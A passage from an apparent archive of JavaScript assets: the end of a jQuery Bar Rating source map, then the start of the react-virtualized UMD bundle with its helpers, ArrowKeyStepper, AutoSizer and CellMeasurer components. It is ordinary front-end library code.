remove widget\n                self.$widget.remove();\n\n                // remove data\n                removeDataOnElement();\n\n                // unwrap the element\n                unwrapElement();\n\n                // show the element\n                self.$elem.show();\n\n                // onDestroy callback\n                options.onDestroy.call(\n                    this,\n                    value,\n                    text\n                );\n            };\n        }\n\n        BarRating.prototype.init = function (options, elem) {\n            this.$elem = $(elem);\n            this.options = $.extend({}, $.fn.barrating.defaults, options);\n\n            return this.options;\n        };\n\n        return BarRating;\n    })();\n\n    $.fn.barrating = function (method, options) {\n        return this.each(function () {\n            var plugin = new BarRating();\n\n            // plugin works with select fields\n            if (!$(this).is('select')) {\n                $.error('Sorry, this plugin only works with select fields.');\n            }\n\n            // method supplied\n            if (plugin.hasOwnProperty(method)) {\n                plugin.init(options, this);\n                if (method === 'show') {\n                    return plugin.show(options);\n                } else {\n                    // plugin exists?\n                    if (plugin.$elem.data('barrating')) {\n                        plugin.$widget = $(this).next('.br-widget');\n                        return plugin[method](options);\n                    }\n                }\n\n            // no method supplied or only options supplied\n            } else if (typeof method === 'object' || !method) {\n                options = method;\n                plugin.init(options, this);\n                return plugin.show();\n\n            } else {\n                $.error('Method ' + method + ' does not exist on jQuery.barrating');\n            }\n        });\n    };\n\n    $.fn.barrating.defaults = {\n        theme:'',\n        initialRating:null, // initial rating\n        allowEmpty:null, // allow empty ratings?\n        emptyValue:'', // this is the expected value of the empty rating\n        showValues:false, // display rating values on the bars?\n        showSelectedRating:true, // append a div with a rating to the widget?\n        deselectable:true, // allow to deselect ratings?\n        reverse:false, // reverse the rating?\n        readonly:false, // make the rating ready-only?\n        fastClicks:true, // remove 300ms click delay on touch devices?\n        hoverState:true, // change state on hover?\n        silent:false, // supress callbacks when controlling ratings programatically\n        onSelect:function (value, text, event) {\n        }, // callback fired when a rating is selected\n        onClear:function (value, text) {\n        }, // callback fired when a rating is cleared\n        onDestroy:function (value, text) {\n        } // callback fired when a widget is destroyed\n    };\n\n    $.fn.barrating.BarRating = BarRating;\n\n}));\n"],"sourceRoot":"/source/"}umd/react-virtualized.js000064400001111507151677406000011341 0ustar00!function(global, factory) {
    "object" == typeof exports && "undefined" != typeof module ? factory(exports, require("react"), require("react-dom")) : "function" == typeof define && define.amd ? define([ "exports", "react", "react-dom" ], factory) : factory((global = global || self).ReactVirtualized = {}, global.React, global.ReactDOM);
}(this, function(exports, React, ReactDOM) {
    "use strict";
    function _classCallCheck(instance, Constructor) {
        if (!(instance instanceof Constructor)) throw new TypeError("Cannot call a class as a function");
    }
    function _defineProperties(target, props) {
        for (var i = 0; i < props.length; i++) {
            var descriptor = props[i];
            descriptor.enumerable = descriptor.enumerable || !1, descriptor.configurable = !0, 
            "value" in descriptor && (descriptor.writable = !0), Object.defineProperty(target, descriptor.key, descriptor);
        }
    }
    function _createClass(Constructor, protoProps, staticProps) {
        return protoProps && _defineProperties(Constructor.prototype, protoProps), staticProps && _defineProperties(Constructor, staticProps), 
        Constructor;
    }
    function _defineProperty(obj, key, value) {
        return key in obj ? Object.defineProperty(obj, key, {
            value: value,
            enumerable: !0,
            configurable: !0,
            writable: !0
        }) : obj[key] = value, obj;
    }
    function _extends() {
        return (_extends = Object.assign || function(target) {
            for (var i = 1; i < arguments.length; i++) {
                var source = arguments[i];
                for (var key in source) Object.prototype.hasOwnProperty.call(source, key) && (target[key] = source[key]);
            }
            return target;
        }).apply(this, arguments);
    }
    function ownKeys(object, enumerableOnly) {
        var keys = Object.keys(object);
        if (Object.getOwnPropertySymbols) {
            var symbols = Object.getOwnPropertySymbols(object);
            enumerableOnly && (symbols = symbols.filter(function(sym) {
                return Object.getOwnPropertyDescriptor(object, sym).enumerable;
            })), keys.push.apply(keys, symbols);
        }
        return keys;
    }
    function _objectSpread2(target) {
        for (var i = 1; i < arguments.length; i++) {
            var source = null != arguments[i] ? arguments[i] : {};
            i % 2 ? ownKeys(source, !0).forEach(function(key) {
                _defineProperty(target, key, source[key]);
            }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)) : ownKeys(source).forEach(function(key) {
                Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key));
            });
        }
        return target;
    }
    function _inherits(subClass, superClass) {
        if ("function" != typeof superClass && null !== superClass) throw new TypeError("Super expression must either be null or a function");
        subClass.prototype = Object.create(superClass && superClass.prototype, {
            constructor: {
                value: subClass,
                writable: !0,
                configurable: !0
            }
        }), superClass && _setPrototypeOf(subClass, superClass);
    }
    function _getPrototypeOf(o) {
        return (_getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function(o) {
            return o.__proto__ || Object.getPrototypeOf(o);
        })(o);
    }
    function _setPrototypeOf(o, p) {
        return (_setPrototypeOf = Object.setPrototypeOf || function(o, p) {
            return o.__proto__ = p, o;
        })(o, p);
    }
    function _objectWithoutProperties(source, excluded) {
        if (null == source) return {};
        var key, i, target = function(source, excluded) {
            if (null == source) return {};
            var key, i, target = {}, sourceKeys = Object.keys(source);
            for (i = 0; i < sourceKeys.length; i++) key = sourceKeys[i], 0 <= excluded.indexOf(key) || (target[key] = source[key]);
            return target;
        }(source, excluded);
        if (Object.getOwnPropertySymbols) {
            var sourceSymbolKeys = Object.getOwnPropertySymbols(source);
            for (i = 0; i < sourceSymbolKeys.length; i++) key = sourceSymbolKeys[i], 0 <= excluded.indexOf(key) || Object.prototype.propertyIsEnumerable.call(source, key) && (target[key] = source[key]);
        }
        return target;
    }
    function _assertThisInitialized(self) {
        if (void 0 === self) throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
        return self;
    }
    function _possibleConstructorReturn(self, call) {
        return !call || "object" != typeof call && "function" != typeof call ? _assertThisInitialized(self) : call;
    }
    function _slicedToArray(arr, i) {
        return function(arr) {
            if (Array.isArray(arr)) return arr;
        }(arr) || function(arr, i) {
            if (!(Symbol.iterator in Object(arr) || "[object Arguments]" === Object.prototype.toString.call(arr))) return;
            var _arr = [], _n = !0, _d = !1, _e = void 0;
            try {
                for (var _s, _i = arr[Symbol.iterator](); !(_n = (_s = _i.next()).done) && (_arr.push(_s.value), 
                !i || _arr.length !== i); _n = !0) ;
            } catch (err) {
                _d = !0, _e = err;
            } finally {
                try {
                    _n || null == _i.return || _i.return();
                } finally {
                    if (_d) throw _e;
                }
            }
            return _arr;
        }(arr, i) || function() {
            throw new TypeError("Invalid attempt to destructure non-iterable instance");
        }
        /**
   * Copyright (c) 2013-present, Facebook, Inc.
   *
   * This source code is licensed under the MIT license found in the
   * LICENSE file in the root directory of this source tree.
   */ ();
    }
    function _toConsumableArray(arr) {
        return function(arr) {
            if (Array.isArray(arr)) {
                for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) arr2[i] = arr[i];
                return arr2;
            }
        }(arr) || function(iter) {
            if (Symbol.iterator in Object(iter) || "[object Arguments]" === Object.prototype.toString.call(iter)) return Array.from(iter);
        }(arr) || function() {
            throw new TypeError("Invalid attempt to spread non-iterable instance");
        }();
    }
    function componentWillMount() {
        // Call this.constructor.gDSFP to support sub-classes.
        var state = this.constructor.getDerivedStateFromProps(this.props, this.state);
        null != state && this.setState(state);
    }
    function componentWillReceiveProps(nextProps) {
        // Binding "this" is important for shallow renderer support.
        this.setState(
        // Call this.constructor.gDSFP to support sub-classes.
        // Use the setState() updater to ensure state isn't stale in certain edge cases.
        function(prevState) {
            var state = this.constructor.getDerivedStateFromProps(nextProps, prevState);
            return null != state ? state : null;
        }.bind(this));
    }
    function componentWillUpdate(nextProps, nextState) {
        try {
            var prevProps = this.props, prevState = this.state;
            this.props = nextProps, this.state = nextState, this.__reactInternalSnapshotFlag = !0, 
            this.__reactInternalSnapshot = this.getSnapshotBeforeUpdate(prevProps, prevState);
        } finally {
            this.props = prevProps, this.state = prevState;
        }
    }
    // React may warn about cWM/cWRP/cWU methods being deprecated.
    // Add a flag to suppress these warnings for this special case.
        function polyfill(Component) {
        var prototype = Component.prototype;
        if (!prototype || !prototype.isReactComponent) throw new Error("Can only polyfill class components");
        if ("function" != typeof Component.getDerivedStateFromProps && "function" != typeof prototype.getSnapshotBeforeUpdate) return Component;
        // If new component APIs are defined, "unsafe" lifecycles won't be called.
        // Error if any of these lifecycles are present,
        // Because they would work differently between older and newer (16.3+) versions of React.
                var foundWillMountName = null, foundWillReceivePropsName = null, foundWillUpdateName = null;
        if ("function" == typeof prototype.componentWillMount ? foundWillMountName = "componentWillMount" : "function" == typeof prototype.UNSAFE_componentWillMount && (foundWillMountName = "UNSAFE_componentWillMount"), 
        "function" == typeof prototype.componentWillReceiveProps ? foundWillReceivePropsName = "componentWillReceiveProps" : "function" == typeof prototype.UNSAFE_componentWillReceiveProps && (foundWillReceivePropsName = "UNSAFE_componentWillReceiveProps"), 
        "function" == typeof prototype.componentWillUpdate ? foundWillUpdateName = "componentWillUpdate" : "function" == typeof prototype.UNSAFE_componentWillUpdate && (foundWillUpdateName = "UNSAFE_componentWillUpdate"), 
        null !== foundWillMountName || null !== foundWillReceivePropsName || null !== foundWillUpdateName) {
            var componentName = Component.displayName || Component.name, newApiName = "function" == typeof Component.getDerivedStateFromProps ? "getDerivedStateFromProps()" : "getSnapshotBeforeUpdate()";
            throw Error("Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n" + componentName + " uses " + newApiName + " but also contains the following legacy lifecycles:" + (null !== foundWillMountName ? "\n  " + foundWillMountName : "") + (null !== foundWillReceivePropsName ? "\n  " + foundWillReceivePropsName : "") + (null !== foundWillUpdateName ? "\n  " + foundWillUpdateName : "") + "\n\nThe above lifecycles should be removed. Learn more about this warning here:\nhttps://fb.me/react-async-component-lifecycle-hooks");
        }
        // React <= 16.2 does not support static getDerivedStateFromProps.
        // As a workaround, use cWM and cWRP to invoke the new static lifecycle.
        // Newer versions of React will ignore these lifecycles if gDSFP exists.
                // React <= 16.2 does not support getSnapshotBeforeUpdate.
        // As a workaround, use cWU to invoke the new lifecycle.
        // Newer versions of React will ignore that lifecycle if gSBU exists.
        if ("function" == typeof Component.getDerivedStateFromProps && (prototype.componentWillMount = componentWillMount, 
        prototype.componentWillReceiveProps = componentWillReceiveProps), "function" == typeof prototype.getSnapshotBeforeUpdate) {
            if ("function" != typeof prototype.componentDidUpdate) throw new Error("Cannot polyfill getSnapshotBeforeUpdate() for components that do not define componentDidUpdate() on the prototype");
            prototype.componentWillUpdate = componentWillUpdate;
            var componentDidUpdate = prototype.componentDidUpdate;
            prototype.componentDidUpdate = function(prevProps, prevState, maybeSnapshot) {
                // 16.3+ will not execute our will-update method;
                // It will pass a snapshot value to did-update though.
                // Older versions will require our polyfilled will-update value.
                // We need to handle both cases, but can't just check for the presence of "maybeSnapshot",
                // Because for <= 15.x versions this might be a "prevContext" object.
                // We also can't just check "__reactInternalSnapshot",
                // Because get-snapshot might return a falsy value.
                // So check for the explicit __reactInternalSnapshotFlag flag to determine behavior.
                var snapshot = this.__reactInternalSnapshotFlag ? this.__reactInternalSnapshot : maybeSnapshot;
                componentDidUpdate.call(this, prevProps, prevState, snapshot);
            };
        }
        return Component;
    }
    componentWillUpdate.__suppressDeprecationWarning = componentWillReceiveProps.__suppressDeprecationWarning = componentWillMount.__suppressDeprecationWarning = !0;
    var ArrowKeyStepper = function() {
        function ArrowKeyStepper() {
            var _getPrototypeOf2, _this;
            _classCallCheck(this, ArrowKeyStepper);
            for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) args[_key] = arguments[_key];
            return _defineProperty(_assertThisInitialized(_this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(ArrowKeyStepper)).call.apply(_getPrototypeOf2, [ this ].concat(args)))), "state", {
                scrollToColumn: 0,
                scrollToRow: 0,
                instanceProps: {
                    prevScrollToColumn: 0,
                    prevScrollToRow: 0
                }
            }), _defineProperty(_assertThisInitialized(_this), "_columnStartIndex", 0), _defineProperty(_assertThisInitialized(_this), "_columnStopIndex", 0), 
            _defineProperty(_assertThisInitialized(_this), "_rowStartIndex", 0), _defineProperty(_assertThisInitialized(_this), "_rowStopIndex", 0), 
            _defineProperty(_assertThisInitialized(_this), "_onKeyDown", function(event) {
                var _this$props = _this.props, columnCount = _this$props.columnCount, disabled = _this$props.disabled, mode = _this$props.mode, rowCount = _this$props.rowCount;
                if (!disabled) {
                    var _this$_getScrollState = _this._getScrollState(), scrollToColumnPrevious = _this$_getScrollState.scrollToColumn, scrollToRowPrevious = _this$_getScrollState.scrollToRow, _this$_getScrollState2 = _this._getScrollState(), scrollToColumn = _this$_getScrollState2.scrollToColumn, scrollToRow = _this$_getScrollState2.scrollToRow;
                    switch (event.key) {
                      case "ArrowDown":
                        scrollToRow = "cells" === mode ? Math.min(scrollToRow + 1, rowCount - 1) : Math.min(_this._rowStopIndex + 1, rowCount - 1);
                        break;

                      case "ArrowLeft":
                        scrollToColumn = "cells" === mode ? Math.max(scrollToColumn - 1, 0) : Math.max(_this._columnStartIndex - 1, 0);
                        break;

                      case "ArrowRight":
                        scrollToColumn = "cells" === mode ? Math.min(scrollToColumn + 1, columnCount - 1) : Math.min(_this._columnStopIndex + 1, columnCount - 1);
                        break;

                      case "ArrowUp":
                        scrollToRow = "cells" === mode ? Math.max(scrollToRow - 1, 0) : Math.max(_this._rowStartIndex - 1, 0);
                    }
                    scrollToColumn === scrollToColumnPrevious && scrollToRow === scrollToRowPrevious || (event.preventDefault(), 
                    _this._updateScrollState({
                        scrollToColumn: scrollToColumn,
                        scrollToRow: scrollToRow
                    }));
                }
            }), _defineProperty(_assertThisInitialized(_this), "_onSectionRendered", function(_ref) {
                var columnStartIndex = _ref.columnStartIndex, columnStopIndex = _ref.columnStopIndex, rowStartIndex = _ref.rowStartIndex, rowStopIndex = _ref.rowStopIndex;
                _this._columnStartIndex = columnStartIndex, _this._columnStopIndex = columnStopIndex, 
                _this._rowStartIndex = rowStartIndex, _this._rowStopIndex = rowStopIndex;
            }), _this;
        }
        return _inherits(ArrowKeyStepper, React.PureComponent), _createClass(ArrowKeyStepper, [ {
            key: "setScrollIndexes",
            value: function(_ref2) {
                var scrollToColumn = _ref2.scrollToColumn, scrollToRow = _ref2.scrollToRow;
                this.setState({
                    scrollToRow: scrollToRow,
                    scrollToColumn: scrollToColumn
                });
            }
        }, {
            key: "render",
            value: function() {
                var _this$props2 = this.props, className = _this$props2.className, children = _this$props2.children, _this$_getScrollState3 = this._getScrollState(), scrollToColumn = _this$_getScrollState3.scrollToColumn, scrollToRow = _this$_getScrollState3.scrollToRow;
                return React.createElement("div", {
                    className: className,
                    onKeyDown: this._onKeyDown
                }, children({
                    onSectionRendered: this._onSectionRendered,
                    scrollToColumn: scrollToColumn,
                    scrollToRow: scrollToRow
                }));
            }
        }, {
            key: "_getScrollState",
            value: function() {
                return this.props.isControlled ? this.props : this.state;
            }
        }, {
            key: "_updateScrollState",
            value: function(_ref3) {
                var scrollToColumn = _ref3.scrollToColumn, scrollToRow = _ref3.scrollToRow, _this$props3 = this.props, isControlled = _this$props3.isControlled, onScrollToChange = _this$props3.onScrollToChange;
                "function" == typeof onScrollToChange && onScrollToChange({
                    scrollToColumn: scrollToColumn,
                    scrollToRow: scrollToRow
                }), isControlled || this.setState({
                    scrollToColumn: scrollToColumn,
                    scrollToRow: scrollToRow
                });
            }
        } ], [ {
            key: "getDerivedStateFromProps",
            value: function(nextProps, prevState) {
                return nextProps.isControlled ? {} : nextProps.scrollToColumn !== prevState.instanceProps.prevScrollToColumn || nextProps.scrollToRow !== prevState.instanceProps.prevScrollToRow ? _objectSpread2({}, prevState, {
                    scrollToColumn: nextProps.scrollToColumn,
                    scrollToRow: nextProps.scrollToRow,
                    instanceProps: {
                        prevScrollToColumn: nextProps.scrollToColumn,
                        prevScrollToRow: nextProps.scrollToRow
                    }
                }) : {};
            }
        } ]), ArrowKeyStepper;
    }();
    function createDetectElementResize(nonce, hostWindow) {
        var _window, cancel, raf, attachEvent = void 0 !== (_window = void 0 !== hostWindow ? hostWindow : "undefined" != typeof window ? window : "undefined" != typeof self ? self : global).document && _window.document.attachEvent;
        if (!attachEvent) {
            var requestFrame = (raf = _window.requestAnimationFrame || _window.mozRequestAnimationFrame || _window.webkitRequestAnimationFrame || function(fn) {
                return _window.setTimeout(fn, 20);
            }, function(fn) {
                return raf(fn);
            }), cancelFrame = (cancel = _window.cancelAnimationFrame || _window.mozCancelAnimationFrame || _window.webkitCancelAnimationFrame || _window.clearTimeout, 
            function(id) {
                return cancel(id);
            }), resetTriggers = function(element) {
                var triggers = element.__resizeTriggers__, expand = triggers.firstElementChild, contract = triggers.lastElementChild, expandChild = expand.firstElementChild;
                contract.scrollLeft = contract.scrollWidth, contract.scrollTop = contract.scrollHeight, 
                expandChild.style.width = expand.offsetWidth + 1 + "px", expandChild.style.height = expand.offsetHeight + 1 + "px", 
                expand.scrollLeft = expand.scrollWidth, expand.scrollTop = expand.scrollHeight;
            }, scrollListener = function(e) {
                if (!(e.target.className && "function" == typeof e.target.className.indexOf && e.target.className.indexOf("contract-trigger") < 0 && e.target.className.indexOf("expand-trigger") < 0)) {
                    var element = this;
                    resetTriggers(this), this.__resizeRAF__ && cancelFrame(this.__resizeRAF__), this.__resizeRAF__ = requestFrame(function() {
                        !function(element) {
                            return element.offsetWidth != element.__resizeLast__.width || element.offsetHeight != element.__resizeLast__.height;
                        }(element) || (element.__resizeLast__.width = element.offsetWidth, element.__resizeLast__.height = element.offsetHeight, 
                        element.__resizeListeners__.forEach(function(fn) {
                            fn.call(element, e);
                        }));
                    });
                }
            }, animation = !1, keyframeprefix = "", animationstartevent = "animationstart", domPrefixes = "Webkit Moz O ms".split(" "), startEvents = "webkitAnimationStart animationstart oAnimationStart MSAnimationStart".split(" "), elm = _window.document.createElement("fakeelement");
            if (void 0 !== elm.style.animationName && (animation = !0), !1 === animation) for (var i = 0; i < domPrefixes.length; i++) if (void 0 !== elm.style[domPrefixes[i] + "AnimationName"]) {
                keyframeprefix = "-" + domPrefixes[i].toLowerCase() + "-", animationstartevent = startEvents[i], 
                animation = !0;
                break;
            }
            var animationName = "resizeanim", animationKeyframes = "@" + keyframeprefix + "keyframes " + animationName + " { from { opacity: 0; } to { opacity: 0; } } ", animationStyle = keyframeprefix + "animation: 1ms " + animationName + "; ";
        }
        return {
            addResizeListener: function(element, fn) {
                if (attachEvent) element.attachEvent("onresize", fn); else {
                    if (!element.__resizeTriggers__) {
                        var doc = element.ownerDocument, elementStyle = _window.getComputedStyle(element);
                        elementStyle && "static" == elementStyle.position && (element.style.position = "relative"), 
                        function(doc) {
                            if (!doc.getElementById("detectElementResize")) {
                                var css = (animationKeyframes || "") + ".resize-triggers { " + (animationStyle || "") + 'visibility: hidden; opacity: 0; } .resize-triggers, .resize-triggers > div, .contract-trigger:before { content: " "; display: block; position: absolute; top: 0; left: 0; height: 100%; width: 100%; overflow: hidden; z-index: -1; } .resize-triggers > div { background: #eee; overflow: auto; } .contract-trigger:before { width: 200%; height: 200%; }', head = doc.head || doc.getElementsByTagName("head")[0], style = doc.createElement("style");
                                style.id = "detectElementResize", style.type = "text/css", null != nonce && style.setAttribute("nonce", nonce), 
                                style.styleSheet ? style.styleSheet.cssText = css : style.appendChild(doc.createTextNode(css)), 
                                head.appendChild(style);
                            }
                        }(doc), element.__resizeLast__ = {}, element.__resizeListeners__ = [], (element.__resizeTriggers__ = doc.createElement("div")).className = "resize-triggers";
                        var resizeTriggersHtml = '<div class="expand-trigger"><div></div></div><div class="contract-trigger"></div>';
                        if (window.trustedTypes) {
                            var staticPolicy = trustedTypes.createPolicy("react-virtualized-auto-sizer", {
                                createHTML: function() {
                                    return resizeTriggersHtml;
                                }
                            });
                            element.__resizeTriggers__.innerHTML = staticPolicy.createHTML("");
                        } else element.__resizeTriggers__.innerHTML = resizeTriggersHtml;
                        element.appendChild(element.__resizeTriggers__), resetTriggers(element), element.addEventListener("scroll", scrollListener, !0), 
                        animationstartevent && (element.__resizeTriggers__.__animationListener__ = function(e) {
                            e.animationName == animationName && resetTriggers(element);
                        }, element.__resizeTriggers__.addEventListener(animationstartevent, element.__resizeTriggers__.__animationListener__));
                    }
                    element.__resizeListeners__.push(fn);
                }
            },
            removeResizeListener: function(element, fn) {
                if (attachEvent) element.detachEvent("onresize", fn); else if (element.__resizeListeners__.splice(element.__resizeListeners__.indexOf(fn), 1), 
                !element.__resizeListeners__.length) {
                    element.removeEventListener("scroll", scrollListener, !0), element.__resizeTriggers__.__animationListener__ && (element.__resizeTriggers__.removeEventListener(animationstartevent, element.__resizeTriggers__.__animationListener__), 
                    element.__resizeTriggers__.__animationListener__ = null);
                    try {
                        element.__resizeTriggers__ = !element.removeChild(element.__resizeTriggers__);
                    } catch (e) {}
                }
            }
        };
    }
    _defineProperty(ArrowKeyStepper, "defaultProps", {
        disabled: !1,
        isControlled: !1,
        mode: "edges",
        scrollToColumn: 0,
        scrollToRow: 0
    }), polyfill(ArrowKeyStepper);
    var AutoSizer = function() {
        function AutoSizer() {
            var _getPrototypeOf2, _this;
            _classCallCheck(this, AutoSizer);
            for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) args[_key] = arguments[_key];
            return _defineProperty(_assertThisInitialized(_this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(AutoSizer)).call.apply(_getPrototypeOf2, [ this ].concat(args)))), "state", {
                height: _this.props.defaultHeight || 0,
                width: _this.props.defaultWidth || 0
            }), _defineProperty(_assertThisInitialized(_this), "_parentNode", void 0), _defineProperty(_assertThisInitialized(_this), "_autoSizer", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_window", void 0), _defineProperty(_assertThisInitialized(_this), "_detectElementResize", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_onResize", function() {
                var _this$props = _this.props, disableHeight = _this$props.disableHeight, disableWidth = _this$props.disableWidth, onResize = _this$props.onResize;
                if (_this._parentNode) {
                    var height = _this._parentNode.offsetHeight || 0, width = _this._parentNode.offsetWidth || 0, style = (_this._window || window).getComputedStyle(_this._parentNode) || {}, paddingLeft = parseInt(style.paddingLeft, 10) || 0, paddingRight = parseInt(style.paddingRight, 10) || 0, paddingTop = parseInt(style.paddingTop, 10) || 0, paddingBottom = parseInt(style.paddingBottom, 10) || 0, newHeight = height - paddingTop - paddingBottom, newWidth = width - paddingLeft - paddingRight;
                    (!disableHeight && _this.state.height !== newHeight || !disableWidth && _this.state.width !== newWidth) && (_this.setState({
                        height: height - paddingTop - paddingBottom,
                        width: width - paddingLeft - paddingRight
                    }), onResize({
                        height: height,
                        width: width
                    }));
                }
            }), _defineProperty(_assertThisInitialized(_this), "_setRef", function(autoSizer) {
                _this._autoSizer = autoSizer;
            }), _this;
        }
        return _inherits(AutoSizer, React.Component), _createClass(AutoSizer, [ {
            key: "componentDidMount",
            value: function() {
                var nonce = this.props.nonce;
                this._autoSizer && this._autoSizer.parentNode && this._autoSizer.parentNode.ownerDocument && this._autoSizer.parentNode.ownerDocument.defaultView && this._autoSizer.parentNode instanceof this._autoSizer.parentNode.ownerDocument.defaultView.HTMLElement && (this._parentNode = this._autoSizer.parentNode, 
                this._window = this._autoSizer.parentNode.ownerDocument.defaultView, this._detectElementResize = createDetectElementResize(nonce, this._window), 
                this._detectElementResize.addResizeListener(this._parentNode, this._onResize), this._onResize());
            }
        }, {
            key: "componentWillUnmount",
            value: function() {
                this._detectElementResize && this._parentNode && this._detectElementResize.removeResizeListener(this._parentNode, this._onResize);
            }
        }, {
            key: "render",
            value: function() {
                var _this$props2 = this.props, children = _this$props2.children, className = _this$props2.className, disableHeight = _this$props2.disableHeight, disableWidth = _this$props2.disableWidth, style = _this$props2.style, _this$state = this.state, height = _this$state.height, width = _this$state.width, outerStyle = {
                    overflow: "visible"
                }, childParams = {};
                return disableHeight || (outerStyle.height = 0, childParams.height = height), disableWidth || (outerStyle.width = 0, 
                childParams.width = width), React.createElement("div", {
                    className: className,
                    ref: this._setRef,
                    style: _objectSpread2({}, outerStyle, {}, style)
                }, children(childParams));
            }
        } ]), AutoSizer;
    }();
    _defineProperty(AutoSizer, "defaultProps", {
        onResize: function() {},
        disableHeight: !1,
        disableWidth: !1,
        style: {}
    });
    var CellMeasurer = function() {
        function CellMeasurer() {
            var _getPrototypeOf2, _this;
            _classCallCheck(this, CellMeasurer);
            for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) args[_key] = arguments[_key];
            return _defineProperty(_assertThisInitialized(_this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(CellMeasurer)).call.apply(_getPrototypeOf2, [ this ].concat(args)))), "_child", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_measure", function() {
                var _this$props = _this.props, cache = _this$props.cache, _this$props$columnInd = _this$props.columnIndex, columnIndex = void 0 === _this$props$columnInd ? 0 : _this$props$columnInd, parent = _this$props.parent, _this$props$rowIndex = _this$props.rowIndex, rowIndex = void 0 === _this$props$rowIndex ? _this.props.index || 0 : _this$props$rowIndex, _this$_getCellMeasure = _this._getCellMeasurements(), height = _this$_getCellMeasure.height, width = _this$_getCellMeasure.width;
                height === cache.getHeight(rowIndex, columnIndex) && width === cache.getWidth(rowIndex, columnIndex) || (cache.set(rowIndex, columnIndex, width, height), 
                parent && "function" == typeof parent.recomputeGridSize && parent.recomputeGridSize({
                    columnIndex: columnIndex,
                    rowIndex: rowIndex
                }));
            }), _defineProperty(_assertThisInitialized(_this), "_registerChild", function(element) {
                !element || element instanceof Element || console.warn("CellMeasurer registerChild expects to be passed Element or null"), 
                (_this._child = element) && _this._maybeMeasureCell();
            }), _this;
        }
        return _inherits(CellMeasurer, React.PureComponent), _createClass(CellMeasurer, [ {
            key: "componentDidMount",
            value: function() {
                this._maybeMeasureCell();
            }
        }, {
            key: "componentDidUpdate",
            value: function() {
                this._maybeMeasureCell();
            }
        }, {
            key: "render",
            value: function() {
                var children = this.props.children;
                return "function" == typeof children ? children({
                    measure: this._measure,
                    registerChild: this._registerChild
                }) : children;
            }
        }, {
            key: "_getCellMeasurements",
            value: function() {
                var cache = this.props.cache, node = this._child || ReactDOM.findDOMNode(this);
                if (node && node.ownerDocument && node.ownerDocument.defaultView && node instanceof node.ownerDocument.defaultView.HTMLElement) {
                    var styleWidth = node.style.width, styleHeight = node.style.height;
                    cache.hasFixedWidth() || (node.style.width = "auto"), cache.hasFixedHeight() || (node.style.height = "auto");
                    var height = Math.ceil(node.offsetHeight), width = Math.ceil(node.offsetWidth);
                    return styleWidth && (node.style.width = styleWidth), styleHeight && (node.style.height = styleHeight), 
                    {
                        height: height,
                        width: width
                    };
                }
                return {
                    height: 0,
                    width: 0
                };
            }
        }, {
            key: "_maybeMeasureCell",
            value: function() {
                var _this$props2 = this.props, cache = _this$props2.cache, _this$props2$columnIn = _this$props2.columnIndex, columnIndex = void 0 === _this$props2$columnIn ? 0 : _this$props2$columnIn, parent = _this$props2.parent, _this$props2$rowIndex = _this$props2.rowIndex, rowIndex = void 0 === _this$props2$rowIndex ? this.props.index || 0 : _this$props2$rowIndex;
                if (!cache.has(rowIndex, columnIndex)) {
                    var _this$_getCellMeasure2 = this._getCellMeasurements(), height = _this$_getCellMeasure2.height, width = _this$_getCellMeasure2.width;
                    cache.set(rowIndex, columnIndex, width, height), parent && "function" == typeof parent.invalidateCellSizeAfterRender && parent.invalidateCellSizeAfterRender({
                        columnIndex: columnIndex,
                        rowIndex: rowIndex
                    });
                }
            }
        } ]), CellMeasurer;
    }();
    _defineProperty(CellMeasurer, "__internalCellMeasurerFlag", !1), CellMeasurer.__internalCellMeasurerFlag = !0;
    var CellMeasurerCache = function() {
        function CellMeasurerCache() {
            var _this = this, params = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {};
            _classCallCheck(this, CellMeasurerCache), _defineProperty(this, "_cellHeightCache", {}), 
            _defineProperty(this, "_cellWidthCache", {}), _defineProperty(this, "_columnWidthCache", {}), 
            _defineProperty(this, "_rowHeightCache", {}), _defineProperty(this, "_defaultHeight", void 0), 
            _defineProperty(this, "_defaultWidth", void 0), _defineProperty(this, "_minHeight", void 0), 
            _defineProperty(this, "_minWidth", void 0), _defineProperty(this, "_keyMapper", void 0), 
            _defineProperty(this, "_hasFixedHeight", void 0), _defineProperty(this, "_hasFixedWidth", void 0), 
            _defineProperty(this, "_columnCount", 0), _defineProperty(this, "_rowCount", 0), 
            _defineProperty(this, "columnWidth", function(_ref) {
                var index = _ref.index, key = _this._keyMapper(0, index);
                return void 0 !== _this._columnWidthCache[key] ? _this._columnWidthCache[key] : _this._defaultWidth;
            }), _defineProperty(this, "rowHeight", function(_ref2) {
                var index = _ref2.index, key = _this._keyMapper(index, 0);
                return void 0 !== _this._rowHeightCache[key] ? _this._rowHeightCache[key] : _this._defaultHeight;
            });
            var defaultHeight = params.defaultHeight, defaultWidth = params.defaultWidth, fixedHeight = params.fixedHeight, fixedWidth = params.fixedWidth, keyMapper = params.keyMapper, minHeight = params.minHeight, minWidth = params.minWidth;
            this._hasFixedHeight = !0 === fixedHeight, this._hasFixedWidth = !0 === fixedWidth, 
            this._minHeight = minHeight || 0, this._minWidth = minWidth || 0, this._keyMapper = keyMapper || defaultKeyMapper, 
            this._defaultHeight = Math.max(this._minHeight, "number" == typeof defaultHeight ? defaultHeight : 30), 
            this._defaultWidth = Math.max(this._minWidth, "number" == typeof defaultWidth ? defaultWidth : 100), 
            !1 === this._hasFixedHeight && !1 === this._hasFixedWidth && console.warn("CellMeasurerCache should only measure a cell's width or height. You have configured CellMeasurerCache to measure both. This will result in poor performance."), 
            !1 === this._hasFixedHeight && 0 === this._defaultHeight && console.warn("Fixed height CellMeasurerCache should specify a :defaultHeight greater than 0. Failing to do so will lead to unnecessary layout and poor performance."), 
